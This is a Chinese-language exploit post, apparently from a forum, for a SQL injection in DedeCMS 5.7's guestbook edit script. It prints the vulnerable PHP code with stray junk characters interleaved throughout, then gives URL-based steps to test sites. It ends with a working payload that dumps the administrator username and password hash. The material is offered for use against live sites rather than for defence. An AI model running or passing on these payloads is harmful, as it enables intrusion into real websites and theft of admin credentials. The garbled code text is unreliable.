影响版本为5.71 _5 }9 f. D+ ~# X
* d; h1 f) y9 }1 c! w7 [8 G漏洞文件edit.inc.php具体代码:
) ~2 R( l, a, t" h- U8 |- `0 G) ^
% Y" S8 k* X3 V7 E3 }) p" k< ?php
+ C% `) {' m$ }* i3 g- A" A, Y8 w d$ _
if(!defined('DEDEINC')) exit('Request Error!'); 2 h5 Z& }$ q% E& A1 e+ k
! `2 `: z( c9 W' ^2 N3 Y/ R
, J, s. ]6 @9 f0 @, s; @- y( o
* E) ~1 ?! ~, F" W+ J6 `" {$ a6 Pif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; ( i% \) c- s+ U. S F
3 \+ V0 E9 v+ _
else $GUEST_BOOK_POS = "guestbook.php"; # S/ S+ g* ]- d
. W0 D9 ~- s, Y5 ^! Y \( v6 @. y' Q
5 B- @& r$ Y7 x N( }9 l( H' a
4 m. K; z$ Q3 ?$id = intval($id);
: s j& B& S2 n' w1 }; A# K
. C6 S, I/ E% z" ?: k5 kif(empty($job)) $job='view'; 8 X6 {& k: B' ?
# \5 f0 E, l$ S# e+ `9 W; g $ A' U9 E3 m. r; @9 p5 x! a* q X
1 E" Z0 c$ v- Hif($job=='del' && $g_isadmin) & Q# L" ^" s* q2 x' |, ?6 M* j
) S4 }5 ~! e {' j{ : Q4 j0 }, p3 C- ^- M, w0 I
- g) {5 ]& z3 w3 \( g
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
7 V% E, _4 M' ]. @5 K: ?* ^, f$ B7 W2 B' l! ^- X) M1 v
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); * Z& R5 D" I% O B
& J' K5 _' ?+ e7 ]0 Z2 A
exit();
1 n; z" \- x S! Z
% Y* V( A( ~' r4 k" B$ `! }} % T; U2 y( R4 m" [5 }) h1 u! q
7 K- I8 n: j. N. ?' q! y! n) I
else if($job=='check' && $g_isadmin) 9 K7 ^$ y; R7 b6 t, e
" \. L1 M2 k, d+ h. F+ b{ : l* B9 V/ m- E2 A
V: e7 G9 _5 m# k$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
; _% H! q8 t: q6 P+ m8 z8 c/ @9 z0 e% y1 [3 j, B% h
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); . X+ V! T+ @4 J0 l! j y o: o
6 u0 ~ G) ~3 H' c; ^ _+ {exit();
+ d$ u/ Q6 K- U7 E+ t2 b& C8 n) p9 O3 @! N5 O" ]9 B, K
} % ~6 H: O7 L) N3 t& v# Y: P# R/ ^
' P9 d6 }: P2 Z' m/ Selse if($job=='editok')
' M8 O, W( O8 U* A" T( ?* f6 n6 ^8 y; d$ h8 m1 `
{ ; H1 E6 k1 C, p H* _# v
* \, K3 u6 S* s3 r7 t) z$remsg = trim($remsg); , f, s2 V0 ~! n4 J( z" Q& z% A
- T" Y" [: h7 t% ?7 i# ~; C9 P9 v
if($remsg!='') ! o! p+ [$ @( ]% w! u
) }+ h6 M; Z, l5 m; A* R- k, S{
5 q& t( @" s. N8 ~# e' I: k2 d* n
# p3 \. x4 t! x* I# c0 @//管理员回复不过滤HTML By:Errorera blog:errs.cc
( U5 W. _7 a3 h2 R, b0 u- k- |0 E
9 o; R' X% o" u+ kif($g_isadmin) 1 j8 C5 S4 I' F+ Q6 q# Q' F
) o1 z/ n, g/ f2 C9 T
{
2 s) j& W. p$ L( L& O$ b0 X- y% v" p
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
4 h* `( p2 L+ s5 a+ c* K$ b0 v7 A ?
; B0 i* s- |9 W7 O2 f0 J//$remsg <br /><font color=red>管理员回复:</font> } 3 i' P& Y# m1 q& ^
( m: u% ?6 J; r& ^/ J1 X7 Kelse + F5 f X; a9 J, z! h5 T8 F% k
# H7 k0 M1 u3 Q$ P$ T$ Q: S9 e, a
{
; g5 ], X$ {. n9 L2 h1 B
, X6 m5 H0 d* o6 H$ l/ o6 J$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); ' R/ _9 `1 t* b3 y
* o3 {& z- D9 H) k
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; 5 ?5 [1 }: `5 k
% }* L8 `) @8 R' S9 n; v
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
: [. t1 s) h$ @1 i* r s6 E6 c- O* @/ }, a$ T+ l" b9 ] Z
$msg = $oldmsg.$remsg; * g7 h4 ?: T5 o9 k r p
$ ], B. t! L# \1 m7 c' t% ]
} ' q& B% U6 N* @. G8 q
/ D3 R( a3 D2 R& a* ?7 d1 Y} 2 X+ \1 J( a: b
& ~* `4 Y' M- j6 c2 v3 `//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 1 E% ]# V. x0 c4 I4 }" B
4 x+ ]% D8 B# ^! b% T/ O. u
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
+ |+ P+ P, X5 E' G; T, a0 w: P0 _5 L
# r/ R/ g6 g* ^ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); : ]8 j, n) F5 ]2 f
( Q7 n% q! J/ R% S; j3 c) `exit(); * `: w0 s# M. @- L! F
0 L: ~& D+ {8 v} 5 b$ A: }" z: B' \9 A
2 Z9 M6 |- w' a/ n+ C
//home:www.errs.cc 4 W& d2 U, [5 U( U. p( B D- I: X i
' O# _/ r! c9 n# u; I$ Sif($g_isadmin) 7 h) F) f7 X( A- a. m. Q
' {9 u3 M5 \- ?/ m' h P; ^3 h{
8 ^1 R9 ]' J' a" j4 |& E S
& n$ u, K6 D# ^# S; G. C$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); 3 M, S/ }7 s' }7 j, e: W2 S
2 h; P/ ~; }5 H# C8 D! W+ R0 |1 G) e
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); " k6 h4 X) Z6 B" u3 S
g2 [. G% ?4 M0 u, {8 I) O. O- b}
/ P8 B5 e; Q; |0 f2 P" ~
, ]4 R4 y" ~6 V9 w {" d; Selse 2 Y' c, ]9 P+ e9 Q" O8 d
8 _5 _( Z5 W6 M5 O* L{
6 A s( P* U2 _6 i$ A; E/ S9 h$ x _, `; Q$ U
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
, S7 ~. t! X! H7 g
' ^6 s! O( A8 n7 h2 e! f8 Crequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
% @! b5 c2 K S- J0 T7 {. i& v) Q! d) C
} 漏洞成功需要条件:
! V4 r- e0 i' G. K6 K1. php magic_quotes_gpc=off4 r! B s' j. y' K1 E- n
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。% k- K; I, C4 O7 G
- {0 V* w* m4 E y
怎么判断是否存在漏洞:$ z* y$ K. {+ ?4 o" v! H
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,1 T) b9 `* r5 b
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
1 s+ d/ E* m+ O5 r/ c) M# P$ h访问:5 S, }+ W# i" p1 C) r
6 _# f* I7 `4 K2 s2 z7 Twww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
' I) S7 |% A5 Y( s7 S* y跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证% Q! R6 ^9 j6 r7 M7 k- G
4 z. Y. F6 L' y6 h3 d+ n
7 x7 C. f2 t' I. @3 b
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off5 y# t' ]. ~! ]% R- [( E
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。+ g+ W2 _/ E- Y) z8 E* s. P1 ]( y
那么再次访问1 k+ v7 [, s3 q8 N: q
1 ^+ T2 j# u5 |! j. }6 Fwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
- y; k' X+ k5 S T
, K8 {/ k+ n b& N4 k+ P" B大概利用就是这样,大家有兴趣的多研究下!!
+ b) a3 Z" d1 C. l1 W9 @3 V8 j+ w* y0 i; E1 G6 H& t
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!6 B' [8 w" Z( `$ M: j D
' O" _! F0 Z# [+ ?& S
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |